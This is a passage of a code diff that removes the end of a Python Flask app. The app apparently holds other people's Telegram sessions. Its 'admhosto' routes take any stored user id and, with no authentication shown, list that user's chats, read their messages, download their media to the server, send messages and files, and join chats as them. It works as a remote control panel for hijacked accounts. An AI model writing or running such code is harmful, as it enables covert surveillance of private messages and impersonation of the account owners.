- 'title': title,
1328
- 'type': chat_type,
1329
- 'participants': getattr(dialog.entity, 'participants_count', None)
1330
- })
1331
- except Exception as e:
1332
- return None, str(e)
1333
- finally:
1334
- if client and client.is_connected(): await client.disconnect()
1335
- return chats_info, None
1336
-
1337
- chats, error = asyncio.run(_get_chats_async())
1338
- if error: return f"Failed to load chats: {error}", 500
1339
- return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
1340
-
1341
- @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1342
- def admhosto_get_chat_messages(user_id, peer_id):
1343
- limit = int(request.args.get('limit', 30))
1344
- offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
1345
-
1346
- async def _get_messages_async():
1347
- client, error = await get_user_client(user_id)
1348
- if error: return None, None, error
1349
- messages = []
1350
- next_offset_id = None
1351
- try:
1352
- entity = await client.get_entity(peer_id)
1353
- fetched_messages = []
1354
- async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
1355
- fetched_messages.append(message)
1356
-
1357
- if len(fetched_messages) == limit:
1358
- next_offset_id = fetched_messages[-1].id
1359
-
1360
- for message in fetched_messages:
1361
- msg_data = {
1362
- 'text': message.text,
1363
- 'date': message.date.strftime("%b %d, %H:%M"),
1364
- 'is_sent': message.out,
1365
- 'sender_name': 'Unknown',
1366
- 'file_name': None,
1367
- 'file_size': None,
1368
- 'is_image': False
1369
- }
1370
- if message.sender:
1371
- if isinstance(message.sender, User):
1372
- msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1373
- elif hasattr(message.sender, 'title'):
1374
- msg_data['sender_name'] = message.sender.title
1375
- else:
1376
- msg_data['sender_name'] = str(message.sender.id)
1377
-
1378
- if message.media:
1379
- try:
1380
- temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
1381
- file_ext = ''
1382
- if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1383
- for attr in message.media.document.attributes:
1384
- if hasattr(attr, 'file_name'):
1385
- file_name = attr.file_name
1386
- file_ext = Path(file_name).suffix.lower()
1387
- break
1388
- elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1389
- file_name = f"photo_{message.media.photo.id}.jpg"
1390
- file_ext = '.jpg'
1391
-
1392
- if not file_name:
1393
- file_name = f"{temp_file_name_prefix}.unknown"
1394
- if hasattr(message.media, 'mime_type') and message.media.mime_type:
1395
- file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
1396
-
1397
- full_download_path = Path(DOWNLOAD_DIR) / file_name
1398
- file_info = await client.download_media(message, file=full_download_path)
1399
-
1400
- if file_info:
1401
- file_path_obj = Path(file_info)
1402
- msg_data['file_name'] = file_path_obj.name
1403
-
1404
- detected_img_type = imghdr.what(file_path_obj)
1405
- if detected_img_type:
1406
- msg_data['is_image'] = True
1407
-
1408
- file_size = os.path.getsize(file_path_obj)
1409
- msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1410
- except Exception as media_e:
1411
- msg_data['file_name'] = f"Download failed: {media_e}"
1412
- messages.append(msg_data)
1413
- except Exception as e:
1414
- return None, None, str(e)
1415
- finally:
1416
- if client and client.is_connected(): await client.disconnect()
1417
- return messages, next_offset_id, None
1418
-
1419
- messages, next_offset_id, error = asyncio.run(_get_messages_async())
1420
- if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1421
- return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
1422
-
1423
- @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
1424
- def admhosto_send_message(user_id):
1425
- data = request.json
1426
- chat_id = data.get('chat_id')
1427
- message_content = data.get('message')
1428
- async def _send_message_async():
1429
- client, error = await get_user_client(user_id)
1430
- if error: return {'success': False, 'message': error}
1431
- try:
1432
- target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1433
- await client.send_message(target_entity, message_content)
1434
- return {'success': True, 'message': 'Message sent.'}
1435
- except FloodWaitError as e:
1436
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1437
- except Exception as e:
1438
- return {'success': False, 'message': str(e)}
1439
- finally:
1440
- if client and client.is_connected(): await client.disconnect()
1441
- return jsonify(asyncio.run(_send_message_async()))
1442
-
1443
- @app.route('/admhosto/send_file/<int:user_id>', methods=['POST'])
1444
- def admhosto_send_file(user_id):
1445
- chat_id = request.form.get('chat_id')
1446
- caption = request.form.get('caption', '')
1447
-
1448
- if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
1449
- if 'file' not in request.files:
1450
- return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
1451
- file = request.files['file']
1452
- if file.filename == '':
1453
- return jsonify({'success': False, 'message': 'No selected file.'}), 400
1454
-
1455
- async def _send_file_async():
1456
- client, error = await get_user_client(user_id)
1457
- if error: return {'success': False, 'message': error}
1458
- try:
1459
- target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1460
- await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
1461
- return {'success': True, 'message': 'File sent.'}
1462
- except FloodWaitError as e:
1463
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1464
- except Exception as e:
1465
- return {'success': False, 'message': str(e)}
1466
- finally:
1467
- if client and client.is_connected(): await client.disconnect()
1468
-
1469
- return jsonify(asyncio.run(_send_file_async()))
1470
-
1471
- @app.route('/admhosto/join_chat/<int:user_id>', methods=['POST'])
1472
- def admhosto_join_chat(user_id):
1473
- data = request.json
1474
- chat_identifier = data.get('chat_identifier')
1475
- async def _join_chat_async():
1476
- client, error = await get_user_client(user_id)
1477
- if error: return {'success': False, 'message': error}
1478
- try:
1479
- if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
1480
- invite_hash = chat_identifier.split('/')[-1].replace('+', '')
1481
- await client(ImportChatInviteRequest(invite_hash))
1482
- else:
1483
- await client(JoinChannelRequest(chat_identifier))
1484
- return {'success': True, 'message': 'Successfully joined.'}
1485
- except FloodWaitError as e:
1486
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1487
- except Exception as e:
1488
- return {'success': False, 'message': f'Error joining: {e}'}
1489
- finally:
1490
- if client and client.is_connected(): await client.disconnect()
1491
- return jsonify(asyncio.run(_join_chat_async()))
1492
-
1493
- if __name__ == '__main__':
1494
- init_db()
1495
- app.run(host=HOST, port=PORT, debug=False)